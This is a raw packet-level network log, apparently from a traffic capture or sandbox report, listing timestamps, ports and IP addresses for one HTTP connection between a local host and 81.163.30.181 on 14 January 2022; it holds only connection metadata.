Jan 14, 2022 20:24:07.856857061 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.856898069 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.856936932 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.856940031 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.856977940 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.857019901 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.857043028 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.857059956 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.857100010 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.857100964 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.857139111 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.857180119 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.857189894 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.857220888 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.857259035 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.857274055 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.857300043 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.857338905 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.857346058 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.857378960 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.857419968 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.857425928 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.857461929 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.857513905 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.857532978 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.857574940 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.857615948 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.857630968 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.857655048 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.857697010 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.857705116 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.857737064 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.857774973 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.857804060 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.857908010 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.857949972 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.857964993 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.857990980 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.858031988 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.858036041 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.858069897 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.858108997 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.858124018 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.858181000 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.858221054 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.858237028 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.858263016 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.858326912 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.858359098 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.858390093 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.858429909 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.858469963 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.858472109 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.858506918 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.858510971 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.858550072 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.858566046 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.858592033 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.858630896 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.858642101 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.858674049 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.858714104 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.858728886 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.858753920 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.858794928 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.858798027 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.858835936 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.858874083 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.858886957 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.858912945 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.858963966 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.861651897 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.915618896 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.915672064 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.915712118 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.915740013 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.915751934 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.915791988 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.915796041 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.915832043 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.915875912 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.915916920 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.915958881 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.915997028 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.915999889 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.916037083 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.916076899 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.916080952 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.916115999 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.916156054 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.916157961 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.916196108 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.916237116 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.916266918 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.916296959 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.916327953 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.916358948 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.916371107 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.916389942 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.916421890 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.916429996 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.916471004 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.916476965 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.916510105 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.916552067 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.916557074 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.916591883 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.916632891 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.916634083 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.916681051 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.916718960 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.916724920 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.916759014 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.916799068 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.916800976 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.916836977 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.916876078 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.916881084 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.916915894 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.916954994 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.916958094 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.916996956 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.917041063 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.917046070 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.917081118 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.917120934 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.917125940 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.917160034 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.917201996 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.917206049 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.917242050 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.917280912 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.917289019 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.917323112 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.917361021 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.917373896 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.917402029 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.917443037 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.917445898 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.917479992 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.917521000 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.917524099 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.917561054 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.917601109 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.917608976 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.917642117 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.917681932 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.917695045 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.917722940 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.917762995 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.917771101 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.917802095 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.917843103 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.917846918 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.917910099 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.917949915 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.917957067 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.917990923 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.918030977 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.918032885 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.918068886 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.918108940 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.918112993 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.918148994 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.918189049 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.918191910 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.918229103 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.918267012 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.918270111 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.918307066 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.918345928 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.918349981 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.918384075 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.918422937 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.918425083 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.918462038 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.918503046 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.918505907 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.918544054 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.918581963 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.918590069 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.918622971 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.918663025 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.918672085 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.918704987 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.918745041 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.918747902 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.918783903 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.918824911 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.918833971 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.918867111 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.918915033 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.918920994 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.918962002 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.919003010 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.919008017 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.919043064 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.919086933 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.919122934 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.919162989 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.919203043 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.919209003 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.919243097 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.919282913 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.919287920 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.919325113 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.919363022 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.919370890 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.919416904 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.919459105 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.919461966 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.919497967 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.919539928 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.919542074 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.919579983 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.919619083 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.919625044 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.919658899 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.919701099 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.919702053 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.919740915 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.919783115 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.919787884 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.919821978 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.919862986 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.919867039 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.919903994 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.919941902 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.919949055 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.919981003 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.920021057 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.920036077 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.920062065 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.920066118 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.920103073 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.920116901 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.920142889 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.920157909 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.920186043 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.920202971 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.920228958 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.920237064 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.920269966 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.920284033 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.920310974 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.920325994 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.920353889 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.920367956 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.920396090 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.920404911 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.920439959 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.920480013 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.920521021 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.920547009 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.920562029 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.920583010 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.920589924 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.920594931 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.920600891 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.920602083 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.920643091 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.920682907 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.920697927 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.920711040 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.920748949 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.920811892 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.920816898 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.920856953 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.920861959 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.920876026 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.920897961 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.920916080 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.920938969 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.920957088 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.920986891 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.920988083 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.921072960 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.921111107 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.921118021 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.921127081 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.921156883 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.921175957 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.921196938 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.921202898 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.921237946 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.921245098 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.921276093 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.921293974 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.921317101 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.921323061 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.921355963 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.921363115 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.921408892 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.978209019 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.978302002 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.978322983 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.978368044 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.978399038 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.978416920 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.978423119 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.978462934 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.978499889 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.978502989 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.978512049 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.978543997 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.978574991 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.978581905 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.978588104 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.978621960 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.978651047 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.978661060 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.978678942 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.978703976 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.978741884 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.978744030 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.978763103 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.978785038 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.978825092 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.978832960 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.978847027 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.978866100 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.978885889 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.978904963 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.978916883 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.978946924 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.978966951 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.978986025 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.979003906 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.979026079 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.979043007 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.979068041 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.979106903 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.979119062 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.979132891 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.979146957 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.979160070 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.979190111 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.979213953 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:07.979228020 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:07.979243040 CET	49907	80	192.168.2.3	81.163.30.181
